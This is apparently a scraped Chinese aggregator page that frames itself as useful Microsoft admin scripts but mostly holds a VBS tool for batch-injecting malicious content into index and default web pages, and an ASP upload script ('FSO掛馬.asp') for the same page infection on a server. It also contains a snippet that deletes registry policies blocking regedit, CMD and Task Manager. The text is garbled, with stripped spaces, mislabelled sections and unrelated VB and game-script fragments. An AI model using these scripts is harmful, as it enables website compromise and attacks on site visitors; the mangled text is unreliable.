在這一開發(fā)環(huán)境中，程序員唯一困難的是MicrosoftSDK提供了六百多個函數(shù)和與其一致的事件驅(qū)動(event-driven)編程技術幾段非常有用的腳本(來自微軟網(wǎng)站,由downmoon精心收集)

一、在網(wǎng)絡硬件故障或網(wǎng)絡故障斷開時發(fā)送警告

調(diào)用方法示例：cscript網(wǎng)絡斷開.vbs>>F:\test\微軟腳本\log.txt

二、在網(wǎng)絡硬件連接成功或網(wǎng)絡故障恢復連接時發(fā)送警告

調(diào)用方法示例：cscript網(wǎng)絡連接.vbs>>F:\test\微軟腳本\log.txt

三、獲取所有域用戶信息

調(diào)用方法示例：cscript域用戶信息.vbs>>F:\test\微軟腳本\域用戶信息.txt

四、修改文本文件內(nèi)容

調(diào)用方法示例：ModifyFile.vbs

附件:

Sample.ini:

五、通過腳本發(fā)送電子郵件

從安裝了SMTPService的計算機中發(fā)送電子郵件的腳本scan.vbe

cscriptscan.vbeweb目錄

程序代碼：

'版權信息

br="************************************"&vbCrLf

br=br&"*VBS批量掛馬腳本*"&vbCrLf

br=br&"*BYBanLG*"&vbCrLf

br=br&"************************************"&vbCrLf&vbCrLf

br=br&"cscriptscan.vbeD:"&vbCrLf

'馬的地址

ma=""

'要掛馬的頁面如果嫌不夠還可以自己再加，記得要用”|”隔開

MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"

'以"|"為分隔符拆分成數(shù)組

MyArray=Split(MyString,"|",-1,1)

web=WScript.Arguments(0)

'如果web為空退出腳本

ifweb=""then

Wscript.echo(br)

window.Close

endif

Wscript.echo(br)&"馬的地址："&ma&vbCrLf&vbCrLf

'創(chuàng)建對象

Setfso=createObject("Scripting.FileSystemObject")

'開始掃描掛馬

scan(web)

'scan定義函數(shù),掃描查找符合條件的文件把馬的內(nèi)容寫到文件的結尾

subscan(filesder)

setfilesder=fso.getfolder(filesder)

'得到當前目錄的所有文件集合

setfiles=filesder.files

'獲取文件名

foreachfextinfiles

Setfile1=fso.GetFile(fext)

filesext=file1.Name

'把文件名轉(zhuǎn)換成小寫字母

ext=lcase(filesext)

ForEachindexinMyArray

'判斷文件是不是我們在MyString里限定的文件，如果是就寫馬

ifext=lcase(index)then

Setts=fso.OpenTextFile(fext,8)'打開文件并在文件末尾進行寫操作

ts.WriteLine(ma)

ts.Close

echo=""

echo=fext&"………….ok"

Wscript.echo(echo)

endif

next

next

setsubfolders=filesder.subfolders

foreachsubfolderinsubfolders'搜索其他目錄,遞歸調(diào)用

scan(subfolder)

next

endsub

FSO掛馬.asp

傳進服務器以后直接輸入需要掛馬的路徑就可以直接掛了

程序代碼：

Response.Buffer=False

%>

ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")

ex=Request("ex")

pth=Request("pth")

newcnt=Request("newcnt")

Ifex<>""ANDpth<>""Then

selectCaseex

Case"edit"

CALLfile_show(pth)

Case"save"

CALLfile_save(pth)

Endselect

Else

%>

"method="POST">

FOLDER(ABSOLUTEPATH):

FunctionIsPattern(patt,str)

SetregEx=NewRegExp

regEx.Pattern=patt

regEx.IgnoreCase=True

retVal=regEx.Test(str)

SetregEx=Nothing

IfretVal=TrueThen

IsPattern=True

Else

IsPattern=False

EndIf

EndFunction

IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then

schs

Else

Ifs<>""ThenResponse.Write"InvalidAgrument!"

EndIf

Subsch(s)

oNeRrOrrEsUmEnExT

Setfs=Server.createObject("Scripting.FileSystemObject")

Setfd=fs.GetFolder(s)

Setfi=fd.Files

Setsf=fd.SubFolders

ForEachfinfi

rtn=f.Path

step_allrtn

Next

Ifsf.Count<>0Then

ForEachlInsf

schl

Next

EndIf

EndSub

Substep_all(agr)

retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)

IfretValThen

step1agr

step2agr

Else

ExitSub

EndIf

EndSub

%>

Substep2(str2)

addcode=""

Setfs=Server.createObject("Scripting.FileSystemObject")

isExist=fs.FileExists(str2)

IfisExistThen

Setf=fs.GetFile(str2)

Setf_addcode=f.OpenAsTextStream(8,-2)

f_addcode.Writeaddcode

f_addcode.Close

Setf=Nothing

EndIf

Setfs=Nothing

EndSub

%>

Subfile_show(fname)

Setfs1=Server.createObject("Scripting.FileSystemObject")

isExist=fs1.FileExists(fname)

IfisExistThen

Setfcnt=fs1.OpenTextFile(fname)

cnt=fcnt.ReadAll

fcnt.Close

Setfs1=Nothing%>

FILE:

"method="POST">

">

THEFILEISNOTEXITORHAVEdeleteD.

EndIf

EndSub

%>

Subfile_save(fname)

Setfs2=Server.createObject("Scripting.FileSystemObject")

Setnewf=fs2.createTextFile(fname,True)

newf.Writenewcnt

newf.Close

Setfs2=Nothing

Response.Write"

THEFILEWASMODIFIEDSUCCESSFULLY.

"

EndSub

%>

結果是：長長的字符連接串變得難于閱讀

OnErrorResumeNext

SetWSHShell=WScript.CreateObject("WScript.Shell")

WithWScript.CreateObject("WScript.Shell")

.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"

.RegDelete"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD"

.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"

EndWith

Mybox=MsgBox(enab&vbCR&"程序運行限制已解除!",1024,"Result")

dimAnumaslong

Anum＝&010'＆0是八進制的表示符號Anum自行轉(zhuǎn)換為8

CreateObject( "WScript.Shell" ).Run _

DeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByVal

hwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)

AsLong

PublicConstCB_FINDSTRING=&H14C

PrivateSubCombo1_Change()

DimiStartAsInteger

DimsStringAsString

StaticiLeftOffAsInteger

iStart=1

iStart=Combo1.SelStart

IfiLeftOff<>0Then

Combo1.SelStart=iLeftOff

iStart=iLeftOff

EndIf

sString=CStr(Left(Combo1.Text,iStart))

Combo1.ListIndex=SendMessage(Combo1.hwnd,B_FINDSTRING,-1,ByValCStr(

Left(ombo1.Text,iStart)))

IfCombo1.ListIndex=-1Then

iLeftOff=Len(sString)

combo1.Text=sString

EndIf

Combo1.SelStart=iStart

iLeftOff=0

EndSub

靜態(tài)變量iLeftOff指定了字符長度

D:\廖嘉航\第三批\腳本之家\腳本之家\文章2\bytes2BSTR.htm刺激戰(zhàn)場pc模擬器

(2)．在打開記錄集時檢查錯誤但是藐視這樣就把整個iexplorer.exe關閉了~~并不等達到過濾的問題~

。

總結

以上是生活随笔為你收集整理的php写dnf脚本,dnf分解机脚本c的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。